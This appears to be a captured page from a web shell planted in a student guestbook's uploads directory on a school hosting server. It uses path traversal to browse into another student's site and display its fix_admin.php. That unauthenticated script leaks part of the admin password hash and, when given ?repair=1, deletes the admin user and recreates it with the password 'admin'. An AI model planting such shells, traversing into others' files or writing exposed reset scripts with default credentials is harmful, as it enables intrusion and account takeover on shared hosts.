🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../587164.klas4s23.mid-ica.nl/public_html/ELearner/fix_admin.php

<?php
include "db.php";

echo "<h1>Admin User Diagnostic & Repair</h1>";

// 1. Check if admin column exists
try {
    $conn->query("SELECT is_admin FROM users LIMIT 1");
    echo "✅ is_admin column exists in users table.<br><br>";
} catch (PDOException $e) {
    echo "❌ is_admin column does not exist. Adding it now...<br>";
    try {
        $conn->exec("ALTER TABLE users ADD COLUMN is_admin TINYINT(1) NOT NULL DEFAULT 0");
        echo "✅ Added is_admin column to users table.<br><br>";
    } catch (PDOException $e) {
        echo "❌ Error adding column: " . $e->getMessage() . "<br><br>";
    }
}

// 2. Check for existing admin user
$stmt = $conn->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->execute(['admin']);
$admin = $stmt->fetch(PDO::FETCH_ASSOC);

if ($admin) {
    echo "Found existing admin user:<br>";
    echo "- ID: " . $admin['id'] . "<br>";
    echo "- Username: " . $admin['username'] . "<br>";
    echo "- Password hash: " . substr($admin['password'], 0, 20) . "...<br><br>";
    
    // Test if 'admin' password verifies with the stored hash
    if (password_verify('admin', $admin['password'])) {
        echo "✅ Password 'admin' is VALID for this user.<br>";
        echo "The login should work. Try clearing your browser cache and cookies.<br><br>";
    } else {
        echo "❌ Password 'admin' does NOT verify with the stored hash.<br>";
        echo "This explains the login failure.<br><br>";
    }
} else {
    echo "❌ No admin user found in the database.<br><br>";
}

// Provide repair options
echo "<h2>Repair Options:</h2>";

if (isset($_GET['repair'])) {
    echo "<h3>Performing Repairs...</h3>";
    
    // Delete existing admin if present
    if ($admin) {
        $stmt = $conn->prepare("DELETE FROM users WHERE username = ?");
        $stmt->execute(['admin']);
        echo "✅ Deleted existing admin user.<br>";
    }
    
    // Create new admin user with correct hash
    $password_hash = password_hash('admin', PASSWORD_DEFAULT);
    try {
        $stmt = $conn->prepare("INSERT INTO users (username, password, is_admin) VALUES (?, ?, 1)");
        $stmt->execute(['admin', $password_hash]);
        echo "✅ Created new admin user with username 'admin' and password 'admin'.<br>";
        echo "✅ Password hash: " . substr($password_hash, 0, 20) . "...<br>";
        
        // Verify the new hash works
        if (password_verify('admin', $password_hash)) {
            echo "✅ Verified that password 'admin' works with the new hash.<br><br>";
        }
    } catch (PDOException $e) {
        echo "❌ Error creating admin user: " . $e->getMessage() . "<br><br>";
    }
    
    echo "<p><strong>Login should now work! <a href='login.php'>Try logging in now</a> with:</strong><br>";
    echo "Username: admin<br>";
    echo "Password: admin</p>";
} else {
    echo "<p><a href='?repair=1' style='display:inline-block; padding:10px; background-color:#ff5722; color:white; text-decoration:none; border-radius:4px;'>Recreate Admin User</a></p>";
    echo "<p>This will delete the existing admin user (if any) and create a new one with the username 'admin' and password 'admin'.</p>";
}
?>

🎯 Available Actions